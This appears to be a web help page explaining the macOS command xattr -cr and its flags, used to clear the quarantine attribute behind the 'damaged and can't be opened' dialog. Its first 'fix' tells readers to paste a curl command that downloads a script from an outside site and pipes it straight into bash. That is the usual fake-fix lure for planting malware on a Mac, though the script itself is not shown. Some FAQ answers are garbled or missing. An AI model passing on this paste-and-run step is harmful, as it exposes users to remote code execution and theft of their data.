xattr -cr on macOS: What It Does and When to Use It
xattr -cr is the shortest reliable way to strip the quarantine flag that triggers the “damaged and can’t be opened” dialog. It is a one-line command with two flags, and knowing exactly what each flag does makes it predictable instead of mysterious.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
xattr -cr "/Applications/Your App.app"
The -c flag clears all extended attributes; -r applies the action to the whole bundle, including nested folders. Add sudo when the target lives in /Applications.
xattr -c "/Applications/Your App.app"
Non-recursive: only the bundle root is touched. Useful when you know the attribute sits on the root item and want to leave nested files alone.
xattr -l "/Applications/Your App.app"
Run this before clearing anything. If com.apple.quarantine is listed, the recursive clear is the right tool.
xattr -cr ~/Downloads/ProjectFiles
A folder argument works the same way. Good for archives you unpacked yourself, where the flag ended up on many files at once.
Breakdown of the flags
| Part | Meaning |
|---|---|
xattr | The macOS utility for reading and writing extended attributes. |
-c | Clear. Deletes every extended attribute on the target. |
-r | Recursive. Applies the action inside folders and bundles as well. |
"/Applications/Your App.app" | The target path. Spaces require the quotes. |
Extended attributes are small key–value records attached to a file: where it came from, a Finder tag, a resource fork, and, importantly, the quarantine flag. -c is a broad operation — it removes all of them, not just quarantine. For a normal application bundle that is harmless; the bundle's own contents and its signature are separate from its file attributes.
How to run it correctly
- Open Terminal with ⌘ + Space, type Terminal, Return.
- Type
sudo xattr -crwith a trailing space, then drag the app from Finder into the window. The path fills in automatically, quotes included. - Press Return and type your administrator password. Nothing appears while typing; that is normal.
- Launch the app. No output from xattr means success.
No such file or directory, the quotes are missing or the path points at a mounted disk image. Move the app to /Applications first.When -cr is the right tool
The command is designed for exactly one common situation: a downloaded app shows “is damaged and can’t be opened”, and the quarantine attribute is present. It is also useful after unpacking a large archive whose files all inherited the flag from the outer download.
Typical sequence: inspect with xattr -l, confirm the flag, clear it, launch. If the dialog returns, the problem is a signature or architecture issue, not metadata — see the main guide for those steps.
When not to use it
- Files that must keep Finder metadata. Clearing all attributes removes tags and “where from” records too. For those, prefer the narrow
xattr -d com.apple.quarantine. - System bundles you do not intend to modify. Running the command against a system component is usually fine, but broad
-ragainst/Systemcan take a while. - As a cure for everything. It will not repair a truncated download, a wrong CPU architecture, or a revoked certificate.
The narrow variant is documented in Remove the quarantine attribute.
What it cannot fix
xattr changes metadata only. If codesign -dv --verbose=4 reports that the code object is not signed at all, the bundle was altered after signing and needs a clean copy. If lipo -archs shows only x86_64 on Apple silicon, install Rosetta instead. If Gatekeeper rejects the signature, the vendor has to re-issue the build.
Frequently asked questions
Does xattr -cr need sudo?
/Applications. The command itself does not require root; the file permissions do.Is it reversible?
Can I run it on a folder?
-r is for, and a plain folder path works the same as a bundle. Be aware that the recursive clear removes tags from every file inside.Why is there no output at all?
Does it affect the app signature?
What is the difference between -c and -d?
-c removes every attribute; -d NAME removes one named attribute. For quarantine specifically, -d com.apple.quarantine is the precise form.This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.